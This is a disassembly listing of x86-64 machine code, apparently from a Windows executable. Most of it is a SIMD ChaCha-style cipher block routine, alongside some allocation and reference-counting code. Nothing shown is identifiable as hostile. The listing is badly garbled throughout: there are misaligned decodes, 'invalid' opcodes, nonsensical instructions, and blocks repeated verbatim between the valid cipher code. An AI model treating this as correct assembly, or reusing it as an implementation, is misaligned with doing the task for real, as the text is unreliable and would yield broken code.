jg 0x14004c1d8
loopne 0x14004c258
add byte [rax], al
vmovdqa xmm0, xmmword [rsp + 0x10]
vpaddd xmm0, xmm0, xmmword [rsp + 0x60]
and al, 0x60
vmovdqu xmmword [rdx + 0xf0], xmm0
vzeroupper
vmovaps xmm6, xmmword [rsp + 0xc0]
and al, 0xc0
add byte [rax], al
add ch, al
clc
sub byte [rsp + 0xd0], bh
and al, 0xc0
add byte [rax], al
add ch, al
clc
sub byte [rsp + 0xd0], bh
vmovaps xmm8, xmmword [rsp + 0xe0]
vmovaps xmm9, xmmword [rsp + 0xf0]
vmovaps xmm10, xmmword [rsp + 0x100]
js 0x14004c2c0
xchg esp, eax
and al, 0
add dword [rax], eax
add ch, al
js 0x14004c2c9
sub byte [rsp + 0x110], bl
js 0x14004c2c0
xchg esp, eax
and al, 0
add dword [rax], eax
add ch, al
js 0x14004c2c9
invalid
sub byte [rsp + 0x110], bl
pushfq
and al, 0x10
add dword [rax], eax
add ch, al
js 0x14004c2d2
vmovaps xmm12, xmmword [rsp + 0x120]
vmovaps xmm13, xmmword [rsp + 0x130]
add byte [rax], al
movsb byte [rdi], byte [rsi]
and al, 0x20
add dword [rax], eax
add ch, al
js 0x14004c2db
lodsb al, byte [rsi]
and al, 0x30
add dword [rax], eax
add byte [rax], al
invalid
js 0x14004c2e4
add byte [rax], al
vmovaps xmm14, xmmword [rsp + 0x140]
mov ah, 0x24
add dword [rax], eax
add ch, al
js 0x14004c2ed
add byte [rax], al
vmovaps xmm15, xmmword [rsp + 0x150]
mov esp, 0x15024
add byte [rax - 0x7f], cl
invalid
add byte [rax], al
add rsp, 0x168
push 0xffffffffc3000001
int3
ret
int3
sub rsp, 0x148
movaps xmmword [rsp + 0x130], xmm15
movaps xmmword [rsp + 0x120], xmm14
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
mov esp, 0x13024
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
mov ah, 0x24
and byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x110], xmm13
movaps xmmword [rsp + 0x100], xmm12
movaps xmmword [rsp + 0xf0], xmm11
movaps xmmword [rsp + 0xe0], xmm10
movaps xmmword [rsp + 0xd0], xmm9
movaps xmmword [rsp + 0xc0], xmm8
movaps xmmword [rsp + 0xb0], xmm7
movaps xmmword [rsp + 0xa0], xmm6
movdqa xmm0, xmmword [rcx]
movdqa xmm12, xmmword [rcx + 0x20]
mov rax, qword [rcx + 0x20]
lea r8, [rax + 1]
movdqa xmm13, xmm12
pinsrd xmm13, r8d, 0
and ch, al
add byte [rcx - 0x3f], cl
call 0x14f4a2984
cmp ah, byte [rdx]
call 0x180920f6c
add ah, byte [rsi + 0x45]
movq mm6, mm4
outsd dx, dword [rsi]
hlt
and ch, al
add byte [rcx - 0x3f], cl
call 0x14f4a2984
cmp ah, byte [rdx]
call 0x180920f6c
add ah, byte [rsi + 0x45]
movq mm6, mm4
outsd dx, dword [rsi]
hlt
outsd dx, dword [rsi]
hlt
pinsrd xmm14, r8d, 0
shr r8, 0x20
pinsrd xmm14, r8d, 1
lea r8, [rax + 3]
movdqa xmm15, xmm12
pinsrd xmm15, r8d, 0
and bh, al
add byte [rcx - 0x3f], cl
call 0x14f4a29ba
cmp ah, byte [rdx]
clc
add dword [rsi + 0xf], esp
outsd dx, dword [rsi]
imul edx, dword [rax], 0x6f0f4466
or eax, 0xc65e4
and bh, al
add byte [rcx - 0x3f], cl
call 0x14f4a29ba
cmp ah, byte [rdx]
clc
add dword [rsi + 0xf], esp
outsd dx, dword [rsi]
imul edx, dword [rax], 0x6f0f4466
or eax, 0xc65e4
mov r8d, 6
movdqa xmm8, xmm9
movdqa xmm7, xmm9
movdqa xmm6, xmm9
movdqa xmm11, xmm0
movdqa xmm3, xmm0
movdqa xmm2, xmm0
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmm10, xmm5
movdqa xmm4, xmm5
movdqa xmm1, xmm5
movdqa xmmword [rsp + 0x40], xmm5
movdqa xmmword [rsp + 0x50], xmm12
movdqa xmmword [rsp + 0x80], xmm13
movdqa xmmword [rsp + 0x70], xmm14
movdqa xmmword [rsp + 0x60], xmm15
nop dword [rax]
paddd xmm9, xmm11
paddd xmm8, xmm3
paddd xmm7, xmm2
paddd xmm6, xmm0
movdqa xmmword [rsp + 0x10], xmm6
pxor xmm12, xmm9
pxor xmm13, xmm8
pxor xmm14, xmm7
pxor xmm15, xmm6
pshuflw xmm12, xmm12, 0xb1
pshufhw xmm6, xmm12, 0xb1
movdqa xmmword [rsp + 0x20], xmm6
pshuflw xmm13, xmm13, 0xb1
pshufhw xmm12, xmm13, 0xb1
movdqa xmmword [rsp + 0x30], xmm12
pshuflw xmm14, xmm14, 0xb1
pshufhw xmm14, xmm14, 0xb1
pshuflw xmm15, xmm15, 0xb1
pshufhw xmm15, xmm15, 0xb1
paddd xmm10, xmm6
movdqa xmm6, xmmword [rsp + 0x10]
paddd xmm4, xmm12
paddd xmm1, xmm14
paddd xmm5, xmm15
pxor xmm11, xmm10
movdqa xmm12, xmm5
movdqa xmmword [rsp], xmm5
movdqa xmm5, xmm11
psrld xmm5, 0x14
pslld xmm11, 0xc
por xmm11, xmm5
pxor xmm3, xmm4
movdqa xmm5, xmm3
psrld xmm5, 0x14
pslld xmm3, 0xc
por xmm3, xmm5
pxor xmm2, xmm1
movdqa xmm5, xmm2
psrld xmm5, 0x14
pslld xmm2, 0xc
por xmm2, xmm5
pxor xmm0, xmm12
movdqa xmm5, xmm0
psrld xmm5, 0x14
pslld xmm0, 0xc
por xmm0, xmm5
paddd xmm9, xmm11
paddd xmm8, xmm3
paddd xmm7, xmm2
paddd xmm6, xmm0
movdqa xmm5, xmm9
movdqa xmm13, xmmword [0x1401129c0]
pshufb xmm5, xmm13
movdqa xmm12, xmmword [rsp + 0x20]
pshufb xmm12, xmm13
pxor xmm12, xmm5
movdqa xmmword [rsp + 0x20], xmm12
movdqa xmm5, xmm8
pshufb xmm5, xmm13
movdqa xmm12, xmmword [rsp + 0x30]
pshufb xmm12, xmm13
pxor xmm12, xmm5
movdqa xmmword [rsp + 0x30], xmm12
movdqa xmm5, xmm7
pshufb xmm5, xmm13
pshufb xmm14, xmm13
pxor xmm14, xmm5
movdqa xmm5, xmm6
pshufb xmm5, xmm13
pshufb xmm15, xmm13
pxor xmm15, xmm5
movdqa xmm13, xmmword [rsp + 0x20]
paddd xmm10, xmm13
paddd xmm4, xmm12
paddd xmm1, xmm14
movdqa xmm5, xmmword [rsp]
paddd xmm5, xmm15
pxor xmm11, xmm10
pxor xmm3, xmm4
pxor xmm2, xmm1
pxor xmm0, xmm5
movdqa xmm12, xmm5
movdqa xmm5, xmm11
psrld xmm5, 0x19
pslld xmm11, 7
por xmm11, xmm5
movdqa xmm5, xmm3
psrld xmm5, 0x19
invalid
sbb dword [rsi + 0xf], esp
jb 0x14004c5d2
invalid
invalid
pslld mm3, 7
por xmm3, xmm5
movdqa xmm5, xmm2
psrld xmm5, 0x19
psrld mm5, 0x19
pslld xmm2, 7
por xmm2, xmm5
por mm2, mm5
por mm2, mm5
movdqa xmm5, xmm0
psrld xmm5, 0x19
pslld xmm0, 7
por xmm0, xmm5
pshufd xmm11, xmm11, 0x39
cmp dword [rsi + 0xf], esp
jo 0x14004c5ed
cmp dword [rsi + 0xf], esp
jo 0x14004c5e9
cmp dword [rsi + 0xf], esp
jo 0x14004c5dc
cmp dword [rsi + 0x45], esp
pshufw mm2, mm2, 0x4e
cmp dword [rsi + 0xf], esp
jo 0x14004c5ed
cmp dword [rsi + 0xf], esp
jo 0x14004c5e9
cmp dword [rsi + 0xf], esp
jo 0x14004c5dc
cmp dword [rsi + 0x45], esp
pshufw mm2, mm2, 0x4e
pshufd xmm4, xmm4, 0x4e
movdqa xmmword [rsp + 0x10], xmm4
movdqa xmmword [rsp + 0x10], xmm4
pshufd xmm1, xmm1, 0x4e
movdqa xmmword [rsp], xmm1
pshufd xmm5, xmm12, 0x4e
paddd xmm9, xmm11
paddd xmm8, xmm3
paddd xmm7, xmm2
paddd xmm6, xmm0
pshuflw xmm1, xmm9, 0xb1
pshufhw xmm1, xmm1, 0xb1
movdqa xmm4, xmmword [0x1401129d0]
movdqa xmm12, xmm13
pshufb xmm12, xmm4
pxor xmm12, xmm1
pshuflw xmm1, xmm8, 0xb1
pshufhw xmm1, xmm1, 0xb1
movdqa xmm13, xmmword [rsp + 0x30]
pshufb xmm13, xmm4
pxor xmm13, xmm1
pshuflw xmm1, xmm7, 0xb1
pshufhw xmm1, xmm1, 0xb1
pshufb xmm14, xmm4
pxor xmm14, xmm1
pshuflw xmm1, xmm6, 0xb1
pshufhw xmm1, xmm1, 0xb1
pshufb xmm15, xmm4
pxor xmm15, xmm1
paddd xmm10, xmm12
movdqa xmm4, xmmword [rsp + 0x10]
paddd xmm4, xmm13
movdqa xmm1, xmmword [rsp]
paddd xmm1, xmm14
movdqa xmmword [rsp], xmm1
paddd xmm5, xmm15
pxor xmm11, xmm10
pxor xmm3, xmm4
pxor xmm2, xmm1
pxor mm2, mm1
pxor mm2, mm1
pxor xmm0, xmm5
movdqa xmm1, xmm11
psrld xmm1, 0x14
pslld xmm11, 0xc
por xmm11, xmm1
movdqa xmm1, xmm3
psrld xmm1, 0x14
pslld xmm3, 0xc
por xmm3, xmm1
movdqa xmm1, xmm2
psrld xmm1, 0x14
pslld xmm2, 0xc
por xmm2, xmm1
movdqa xmm1, xmm0
psrld xmm1, 0x14
pslld xmm0, 0xc
por xmm0, xmm1
paddd xmm9, xmm11
paddd xmm8, xmm3
paddd xmm7, xmm2
paddd xmm6, xmm0
pxor xmm12, xmm9
movdqa xmm1, xmmword [0x1401129c0]
pshufb xmm12, xmm1
pxor xmm13, xmm8
pshufb xmm13, xmm1
pxor xmm14, xmm7
pshufb xmm14, xmm1
pxor xmm15, xmm6
pshufb xmm15, xmm1
paddd xmm10, xmm12
paddd xmm4, xmm13
movdqa xmm1, xmmword [rsp]
paddd xmm1, xmm14
movdqa xmmword [rsp], xmm1
paddd xmm5, xmm15
pxor xmm11, xmm10
pxor xmm3, xmm4
pxor xmm2, xmm1
pxor xmm0, xmm5
movdqa xmm1, xmm11
psrld xmm1, 0x19
pslld xmm11, 7
por xmm11, xmm1
movdqa xmm1, xmm3
psrld xmm1, 0x19
pslld xmm3, 7
por xmm3, xmm1
movdqa xmm1, xmm2
psrld xmm1, 0x19
pslld xmm2, 7
por xmm2, xmm1
movdqa xmm1, xmm0
psrld xmm1, 0x19
pslld xmm0, 7
por xmm0, xmm1
pshufd xmm11, xmm11, 0x93
pshufd xmm3, xmm3, 0x93
pshufd xmm2, xmm2, 0x93
pshufd xmm0, xmm0, 0x93
pshufd xmm10, xmm10, 0x4e
pshufd xmm4, xmm4, 0x4e
pshufd xmm1, xmmword [rsp], 0x4e
pshufd xmm5, xmm5, 0x4e
pshufd xmm12, xmm12, 0x39
pshufd xmm13, xmm13, 0x39
pshufd xmm14, xmm14, 0x39
pshufd xmm15, xmm15, 0x39
dec r8d
jne 0x14004c410
movdqa xmmword [rsp], xmm5
movdqa xmm5, xmmword [str.expand_32_byte_k]
paddd xmm6, xmm5
paddd xmm7, xmm5
paddd xmm8, xmm5
paddd xmm9, xmm5
add rax, 4
mov r8, rax
shr r8, 0x20
movdqa xmm5, xmmword [rsp + 0x50]
paddd xmm12, xmm5
pinsrd xmm5, eax, 0
pinsrd xmm5, r8d, 1
movdqa xmmword [rcx + 0x20], xmm5
movdqu xmmword [rdx], xmm9
movdqa xmm5, xmmword [rsp + 0x90]
paddd xmm11, xmm5
movdqu xmmword [rdx + 0x10], xmm11
movdqa xmm9, xmmword [rsp + 0x40]
paddd xmm10, xmm9
movdqu xmmword [rdx + 0x20], xmm10
movdqu xmmword [rdx + 0x30], xmm12
movdqu xmmword [rdx + 0x40], xmm8
paddd xmm3, xmm5
movdqu xmmword [rdx + 0x50], xmm3
paddd xmm4, xmm9
movdqu xmmword [rdx + 0x60], xmm4
movdqa xmm3, xmmword [rsp + 0x80]
paddd xmm3, xmm13
movdqu xmmword [rdx + 0x70], xmm3
movdqu xmmword [rdx + 0x80], xmm7
paddd xmm2, xmm5
movdqu xmmword [rdx + 0x90], xmm2
paddd xmm1, xmm9
movdqu xmmword [rdx + 0xa0], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
paddd xmm1, xmm14
movdqu xmmword [rdx + 0xb0], xmm1
movdqu xmmword [rdx + 0xc0], xmm6
paddd xmm0, xmm5
movdqu xmmword [rdx + 0xd0], xmm0
movdqa xmm0, xmmword [rsp]
paddd xmm0, xmm9
movdqu xmmword [rdx + 0xe0], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
paddd xmm0, xmm15
movdqu xmmword [rdx + 0xf0], xmm0
movaps xmm6, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm8, xmmword [rsp + 0xc0]
movaps xmm9, xmmword [rsp + 0xd0]
movaps xmm10, xmmword [rsp + 0xe0]
movaps xmm11, xmmword [rsp + 0xf0]
movaps xmm12, xmmword [rsp + 0x100]
movaps xmm13, xmmword [rsp + 0x110]
movaps xmm14, xmmword [rsp + 0x120]
movaps xmm15, xmmword [rsp + 0x130]
add rsp, 0x148
ret
sub rsp, 0x158
movaps xmmword [rsp + 0x140], xmm15
movaps xmmword [rsp + 0x130], xmm14
movaps xmmword [rsp + 0x120], xmm13
movaps xmmword [rsp + 0x110], xmm12
movaps xmmword [rsp + 0x100], xmm11
movaps xmmword [rsp + 0xf0], xmm10
movaps xmmword [rsp + 0xe0], xmm9
movaps xmmword [rsp + 0xd0], xmm8
movaps xmmword [rsp + 0xc0], xmm7
movaps xmmword [rsp + 0xb0], xmm6
movdqa xmm4, xmmword [rcx]
movdqa xmm13, xmmword [rcx + 0x10]
movdqa xmm0, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0x40], xmm0
mov rax, qword [rcx + 0x20]
lea r8, [rax + 1]
movd xmm14, r8d
shr r8, 0x20
movdqa xmm3, xmm0
pslldq xmm3, 8
shufps xmm3, xmm0, 0xe8
movd xmm0, r8d
por xmm0, xmm3
movdqa xmm1, xmm0
pslldq xmm1, 8
shufps xmm1, xmm0, 0xe8
por xmm14, xmm1
lea r8, [rax + 2]
movd xmm15, r8d
shr r8, 0x20
movd xmm0, r8d
por xmm0, xmm3
movdqa xmm1, xmm0
pslldq xmm1, 8
shufps xmm1, xmm0, 0xe8
por xmm15, xmm1
lea r8, [rax + 3]
movd xmm2, r8d
shr r8, 0x20
movd xmm0, r8d
movaps xmmword [rsp + 0x50], xmm3
por xmm0, xmm3
movdqa xmm1, xmm0
pslldq xmm1, 8
shufps xmm1, xmm0, 0xe8
por xmm2, xmm1
movdqa xmm10, xmmword [str.expand_32_byte_k]
mov r8d, 6
movdqa xmm9, xmm10
movdqa xmm8, xmm10
movdqa xmm7, xmm10
movdqa xmm12, xmm4
movdqa xmm5, xmm4
movdqa xmm3, xmm4
movdqa xmmword [rsp + 0x90], xmm4
movdqa xmm1, xmm4
movdqa xmm11, xmm13
movdqa xmm6, xmm13
movdqa xmm4, xmm13
movdqa xmmword [rsp + 0xa0], xmm13
movdqa xmm0, xmm13
movdqa xmm13, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x80], xmm14
movdqa xmmword [rsp + 0x70], xmm15
movdqa xmmword [rsp + 0x60], xmm2
nop word cs:[rax + rax]
paddd xmm10, xmm12
paddd xmm9, xmm5
paddd xmm8, xmm3
paddd xmm7, xmm1
pxor xmm13, xmm10
pxor xmm14, xmm9
pxor xmm15, xmm8
pxor xmm2, xmm7
pshuflw xmm13, xmm13, 0xb1
pshufhw xmm13, xmm13, 0xb1
movdqa xmmword [rsp], xmm13
pshuflw xmm14, xmm14, 0xb1
pshufhw xmm14, xmm14, 0xb1
pshuflw xmm15, xmm15, 0xb1
pshufhw xmm15, xmm15, 0xb1
pshuflw xmm2, xmm2, 0xb1
pshufhw xmm2, xmm2, 0xb1
movdqa xmmword [rsp + 0x30], xmm2
paddd xmm11, xmm13
paddd xmm6, xmm14
paddd xmm4, xmm15
paddd xmm0, xmm2
pxor xmm12, xmm11
movdqa xmm2, xmm0
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm0, xmm12
psrld xmm0, 0x14
pslld xmm12, 0xc
por xmm12, xmm0
pxor xmm5, xmm6
movdqa xmm0, xmm5
psrld xmm0, 0x14
pslld xmm5, 0xc
por xmm5, xmm0
pxor xmm3, xmm4
movdqa xmm0, xmm3
psrld xmm0, 0x14
pslld xmm3, 0xc
por xmm3, xmm0
pxor xmm1, xmm2
movdqa xmm0, xmm1
psrld xmm0, 0x14
pslld xmm1, 0xc
por xmm1, xmm0
paddd xmm10, xmm12
paddd xmm9, xmm5
paddd xmm8, xmm3
paddd xmm7, xmm1
movdqa xmmword [rsp + 0x20], xmm7
movdqa xmm0, xmm10
movdqa xmm2, xmmword [0x1401129c0]
pshufb xmm0, xmm2
movdqa xmm7, xmmword [rsp]
pshufb xmm7, xmm2
pxor xmm7, xmm0
movdqa xmmword [rsp], xmm7
movdqa xmm0, xmm9
pshufb xmm0, xmm2
pshufb xmm14, xmm2
pxor xmm14, xmm0
movdqa xmm0, xmm8
pshufb xmm0, xmm2
pshufb xmm15, xmm2
pxor xmm15, xmm0
movdqa xmm0, xmmword [rsp + 0x20]
pshufb xmm0, xmm2
movdqa xmm13, xmmword [rsp + 0x30]
pshufb xmm13, xmm2
pxor xmm13, xmm0
movdqa xmm2, xmm13
paddd xmm11, xmm7
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm6, xmm14
paddd xmm4, xmm15
movdqa xmm0, xmmword [rsp + 0x10]
paddd xmm0, xmm13
pxor xmm12, xmm11
pxor xmm5, xmm6
pxor xmm3, xmm4
pxor xmm1, xmm0
movdqa xmm13, xmm0
movdqa xmm0, xmm12
psrld xmm0, 0x19
pslld xmm12, 7
por xmm12, xmm0
movdqa xmm0, xmm5
psrld xmm0, 0x19
pslld xmm5, 7
por xmm5, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x19
pslld xmm3, 7
por xmm3, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x19
pslld xmm1, 7
por xmm1, xmm0
pshufd xmm12, xmm12, 0x39
pshufd xmm5, xmm5, 0x39
pshufd xmm3, xmm3, 0x39
pshufd xmm1, xmm1, 0x39
pshufd xmm11, xmm11, 0x4e
pshufd xmm6, xmm6, 0x4e
pshufd xmm0, xmm4, 0x4e
movdqa xmmword [rsp + 0x30], xmm0
pshufd xmm0, xmm13, 0x4e
movdqa xmmword [rsp + 0x10], xmm0
paddd xmm10, xmm12
paddd xmm9, xmm5
paddd xmm8, xmm3
paddd xmm7, xmm1
pshuflw xmm0, xmm10, 0xb1
pshufhw xmm0, xmm0, 0xb1
movdqa xmm13, xmmword [0x1401129d0]
movdqa xmm4, xmmword [rsp]
pshufb xmm4, xmm13
pxor xmm4, xmm0
pshuflw xmm0, xmm9, 0xb1
pshufhw xmm0, xmm0, 0xb1
pshufb xmm14, xmm13
pxor xmm14, xmm0
pshuflw xmm0, xmm8, 0xb1
pshufhw xmm0, xmm0, 0xb1
pshufb xmm15, xmm13
pxor xmm15, xmm0
pshuflw xmm0, xmm7, 0xb1
pshufhw xmm0, xmm0, 0xb1
pshufb xmm2, xmm13
pxor xmm2, xmm0
paddd xmm11, xmm4
movdqa xmm13, xmm4
paddd xmm6, xmm14
movdqa xmm4, xmmword [rsp + 0x30]
paddd xmm4, xmm15
movdqa xmm0, xmmword [rsp + 0x10]
paddd xmm0, xmm2
movdqa xmmword [rsp + 0x10], xmm0
pxor xmm12, xmm11
pxor xmm5, xmm6
pxor xmm3, xmm4
pxor xmm1, xmm0
movdqa xmm0, xmm12
psrld xmm0, 0x14
pslld xmm12, 0xc
por xmm12, xmm0
movdqa xmm0, xmm5
psrld xmm0, 0x14
pslld xmm5, 0xc
por xmm5, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x14
pslld xmm3, 0xc
por xmm3, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x14
pslld xmm1, 0xc
por xmm1, xmm0
paddd xmm10, xmm12
paddd xmm9, xmm5
paddd xmm8, xmm3
paddd xmm7, xmm1
pxor xmm13, xmm10
movdqa xmm0, xmmword [0x1401129c0]
pshufb xmm13, xmm0
movdqa xmmword [rsp], xmm13
pxor xmm14, xmm9
pshufb xmm14, xmm0
pxor xmm15, xmm8
pshufb xmm15, xmm0
pxor xmm2, xmm7
pshufb xmm2, xmm0
paddd xmm11, xmm13
paddd xmm6, xmm14
paddd xmm4, xmm15
movdqa xmm13, xmmword [rsp + 0x10]
paddd xmm13, xmm2
pxor xmm12, xmm11
pxor xmm5, xmm6
pxor xmm3, xmm4
pxor xmm1, xmm13
movdqa xmm0, xmm12
psrld xmm0, 0x19
pslld xmm12, 7
por xmm12, xmm0
movdqa xmm0, xmm5
psrld xmm0, 0x19
pslld xmm5, 7
por xmm5, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x19
pslld xmm3, 7
por xmm3, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x19
pslld xmm1, 7
por xmm1, xmm0
pshufd xmm12, xmm12, 0x93
pshufd xmm5, xmm5, 0x93
pshufd xmm3, xmm3, 0x93
pshufd xmm1, xmm1, 0x93
pshufd xmm11, xmm11, 0x4e
pshufd xmm6, xmm6, 0x4e
pshufd xmm4, xmm4, 0x4e
pshufd xmm0, xmm13, 0x4e
pshufd xmm13, xmmword [rsp], 0x39
and al, 0x39
pshufd xmm14, xmm14, 0x39
pshufd xmm15, xmm15, 0x39
pshufd xmm2, xmm2, 0x39
dec r8d
enter 0xffffffffffff850f, 0xffffffffffffffda
sti
invalid
invalid
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm0, xmmword [str.expand_32_byte_k]
add eax, 0xc5a1c
paddd xmm7, xmm0
paddd xmm8, xmm0
paddd xmm9, xmm0
paddd xmm10, xmm0
add rax, 4
mov r8, rax
shr r8, 0x20
movd xmm0, r8d
por xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmmword [rsp], xmm0
movdqa xmm0, xmmword [rsp]
pslldq xmm0, 8
movdqa xmmword [rsp], xmm0
movaps xmm0, xmmword [rsp]
shufps xmm0, xmmword [rsp + 0x20], 0xe8
movaps xmmword [rsp], xmm0
movd xmm0, eax
por xmm0, xmmword [rsp]
movdqa xmmword [rcx + 0x20], xmm0
movdqu xmmword [rdx], xmm10
movdqa xmm10, xmmword [rsp + 0x90]
paddd xmm12, xmm10
movdqu xmmword [rdx + 0x10], xmm12
movdqa xmm0, xmmword [rsp + 0xa0]
paddd xmm11, xmm0
movdqu xmmword [rdx + 0x20], xmm11
paddd xmm13, xmmword [rsp + 0x40]
movdqu xmmword [rdx + 0x30], xmm13
movdqu xmmword [rdx + 0x40], xmm9
paddd xmm5, xmm10
movdqu xmmword [rdx + 0x50], xmm5
paddd xmm6, xmm0
movdqu xmmword [rdx + 0x60], xmm6
paddd xmm14, xmmword [rsp + 0x80]
movdqu xmmword [rdx + 0x70], xmm14
movdqu xmmword [rdx + 0x80], xmm8
paddd xmm3, xmm10
movdqu xmmword [rdx + 0x90], xmm3
paddd xmm4, xmm0
movdqu xmmword [rdx + 0xa0], xmm4
paddd xmm15, xmmword [rsp + 0x70]
movdqu xmmword [rdx + 0xb0], xmm15
movdqu xmmword [rdx + 0xc0], xmm7
paddd xmm1, xmm10
movdqu xmmword [rdx + 0xd0], xmm1
movdqa xmm1, xmmword [rsp + 0x10]
paddd xmm1, xmm0
movdqu xmmword [rdx + 0xe0], xmm1
paddd xmm2, xmmword [rsp + 0x60]
movdqu xmmword [rdx + 0xf0], xmm2
movaps xmm6, xmmword [rsp + 0xb0]
movaps xmm7, xmmword [rsp + 0xc0]
movaps xmm8, xmmword [rsp + 0xd0]
movaps xmm9, xmmword [rsp + 0xe0]
movaps xmm10, xmmword [rsp + 0xf0]
movaps xmm11, xmmword [rsp + 0x100]
movaps xmm12, xmmword [rsp + 0x110]
movaps xmm13, xmmword [rsp + 0x120]
movaps xmm14, xmmword [rsp + 0x130]
movaps xmm15, xmmword [rsp + 0x140]
add rsp, 0x158
ret
or byte [r9 + rcx*4 + 0x49], cl
adc byte [rax - 0x39], cl
sbb byte [r8], al
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xeefae
mov qword [rax], rcx
ret
add byte [rax - 0x77], cl
invalid
test byte [rdx - 0x7d000000], cl
clc
add dword [rbp + 0x33], esi
add byte [rax], al
add byte [rbx + 0x337501f8], al
movzx eax, byte [rdi + 0x40]
test al, al
jne 0x14004edc9
add byte [rax], al
add byte [rax], al
mov r14, rdx
mov rax, qword [r8]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov cl, 1
xchg byte [rdi + 0x20], cl
test cl, cl
je 0x14004ed93
add byte [rax], al
add byte [rax], al
mov rcx, rdx
call qword [rax + 0x18]
jmp 0x14004edc9
mov rax, qword [rsp + 0x20]
cmp rax, 2
jne 0x14004ec1a
mov qword [rsi], 2
jmp 0x14004ed51
mov rbx, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x40]
test rax, rax
je 0x14004ed10
mov r15, qword [rsp + 0x30]
mov r14d, 1
test rbx, rbx
je 0x14004ed15
mov rcx, qword [rsp + 0x38]
jmp 0x14004ed3e
add byte [rdx + 0x10], bh
xor ecx, ecx
call fcn.1400dfbe0
or dword [rax], eax
or dword [rax], eax
test rax, rax
test eax, eax
je 0x14004effb
mov rbx, rax
mov qword [rax], 2
mov qword [r14 + 0x28], rax
mov rcx, rbx
call fcn.140034e70
mov qword [rbx], 0
mov qword [rbx + 8], rdi
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x40], rax
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
jmp 0x14004ec03
xor r14d, r14d
jmp 0x14004ed3e
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14004efec
mov qword [rax], r15
lea rcx, fcn.140035fe0
mov r15, rax
mov qword [rsi], r14
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rcx
mov qword [rsi + 0x20], rdi
mov rax, rsi
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov r8, qword [rdi + 0x10]
test r8, r8
je 0x14004edb0
mov rcx, qword [rdi + 0x18]
mov rbx, rax
mov r15, rdx
call qword [r8 + 0x18]
mov rdx, r15
mov rax, rbx
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rdx
xor eax, eax
xchg byte [rdi + 0x20], al
movzx eax, byte [rdi + 0x40]
test al, al
je 0x14004ee6c
mov al, 1
mov cl, 1
xchg byte [rdi + 0x41], cl
test cl, cl
jne 0x14004edd9
xor ecx, ecx
xchg byte [rdi + 0x41], cl
mov qword [rsp + 0x20], 0
mov cl, 1
xchg byte [rdi + 0x40], cl
xchg byte [rdi + 0x20], al
test al, al
jne 0x14004ee0b
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor edx, edx
xchg byte [rdi + 0x20], dl
test rax, rax
je 0x14004ee0b
call qword [rax + 0x18]
mov al, 1
xchg byte [rdi + 0x38], al
test al, al
jne 0x14004ef75
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
xor edx, edx
xchg byte [rdi + 0x38], dl
test rax, rax
je 0x14004ef75
call qword [rax + 8]
jmp 0x14004ef75
mov rax, r14
mov rbx, qword [r14 + 0x28]
test rbx, rbx
jne 0x14004eea2
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14004effb
mov rbx, rax
mov qword [rax], 2
mov qword [r14 + 0x28], rax
mov rcx, rbx
call fcn.140034e70
mov qword [rbx], 1
mov qword [rbx + 8], rdi
mov qword [rsp + 0x20], 2
jmp 0x14004ec0e
lock dec qword [rdi]
jne 0x14004ec03
mov rcx, rdi
call fcn.140066310
jmp 0x14004ec03
sub byte [rax - 0x77], cl
fld1
stosb byte [rdi], al
pop rsi
invalid
invalid
mov ecx, 8
mov edx, 8
call fcn.140107fe0
mov ecx, 8
mov edx, 0x10
add al, ch
invalid
invalid
or eax, dword [rax]
int3
add al, ch
invalid
sal byte [rbp + rax + 0x48], 0x8b
push rcx
or bl, al
ret
int3
xchg ebp, eax
xor al, 0xb9
jno 0x14004f087
movabs rdx, 0xc0863d7c75b207ba
ret
add eax, 0x7501f883
or dword [rax - 0x7d], ecx
jns 0x14004f099
add byte [rdi], cl
xchg esp, eax
rol bl, 0x48
add ecx, 0x18
jmp fcn.14002dc90
sbb cl, ch
int1
jmp 0x14004f09b
mov dword [rax + rdx], ecx
ret
add byte [rax - 0x39], cl
add byte [rcx], al
add byte [rax], al
add byte [rdx + 8], bh
xor ecx, ecx
mov qword [rax + rdx], rcx
ret
and al, 0xd0
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rax], al
movups xmm1, xmmword [r8 + 0x10]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
cmp rdx, 0x7fff
ja 0x14004f8a4
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
